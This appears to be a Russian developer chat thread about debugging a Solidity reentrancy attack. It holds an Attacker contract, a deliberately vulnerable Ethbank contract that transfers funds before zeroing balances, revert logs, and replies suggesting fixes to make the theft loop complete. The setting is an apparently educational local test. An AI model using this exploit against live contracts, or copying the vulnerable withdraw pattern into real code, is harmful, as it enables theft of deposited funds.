solidity >=0.7.0 <0.9.0;
import "hardhat/console.sol";
interface IEthBank {
function deposit() external payable;
function withdrow() external;
}
contract Attacker {
IEthBank public immutable bank;
address public owner;
modifier onlyOwner() {
console.log("sender");
console.log(msg.sender);
console.log("owner");
console.log(owner);
require(msg.sender == owner, "only owner can call this function");
_;
}
constructor(address addressToAttack) {
bank = IEthBank(addressToAttack);
owner = msg.sender;
}
function attack() external payable onlyOwner {
bank.deposit{value: msg.value}();
bank.withdrow();
}
receive() external payable {
console.log("recieve()");
if(address(bank).balance > 0) {
console.log("reentering");
bank.withdrow();
} else {
payable(owner).transfer(address(this).balance);
}
}
}
контракт банка:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "hardhat/console.sol";
contract Ethbank {
address owner;
mapping (address => uint256) public balances;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "only owner can call this contract function");
_;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdrow() external {
require(balances[msg.sender] > 0, "no money on sender");
console.log("================== balance");
console.log(address(this).balance);
payable(msg.sender).transfer(balances[msg.sender]);
balances[msg.sender] = 0;
}
function getCurrentBalance() external view returns (uint) {
return address(this).balance;
}
function getAddress() external view returns (address) {
return address(this);
}
}
выводит такое сообщение:
логи:
sender
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
owner
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
================== balance
73000000000000000000
recieve()
reentering
ошибка:
transact to Attacker.attack errored: VM error: revert.
revert
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.
получается при попытке в методе receive вызвать ещё раз bank.withdraw выпадает эта хрень. Почему? В чем косяк?
в консоль.логи можно аргументы через запятую писать. Много не пробовал, но название переменной + саму переменную точно можно объединить в один) withdrAw https://habr.com/ru/post/655639/ тут есть статья про реентрански, ток это перевод статьи 19 года, так что версия солидити не новая. В образовательных целях, наверно проще попробовать воспроизвести реентранси атаку на какой-нибудь ^0.4.0 версии. Синтаксис там будет несколько другой, зато разные дыры точно работают. В коде у вас сейчас написана бесконечная рекурсия, так что даже когда поймете чо за ошибка падает и почему, работать все равно не будет, потому что будет бесконечно входить в виздровал, сожрет весь газ и отвалится по нехватки газа (ну или штатно выйдет украв все деньги, если газа хватит). Лучше переделать просто на один рекурсивный вызов, а не бесконечный. Возможно вы что-то с газом не правильно задаете, или виртуальная машина что-то отптимизирует избыточно. Попробуйте задать или поменять газовый лимит транзакции которую вызываете. На счет 2300 газа, то что писали, это вроде не то, и в ресив функции можно вызывать другие методы (но это не точно, пожтому лучше версию солидити понизить до четвертой, где точно можно было творить бардак и где небыло ресив функции, а была fallback). И библиотеку address.sol из опензеппелинов вы не используете, так что вероятно ссылка скинутая выше вам не пригодится
Я заменил и помогло. Да, в какой-то момент отваливается по газу
что именно заменилиЮ
отваливается по газу, потому что у вас не определен выход из рекурсии. Надо в аткующий контракт добавить счетчик, обновлять его при использовании (до вызова виздровал) и в ресиве дописать if в начале, что если счетчик стал больше 1, тогда ничего не делать и просто завершить выполнение функции
У меня выход, когда все деньги украдены
Обсуждают сегодня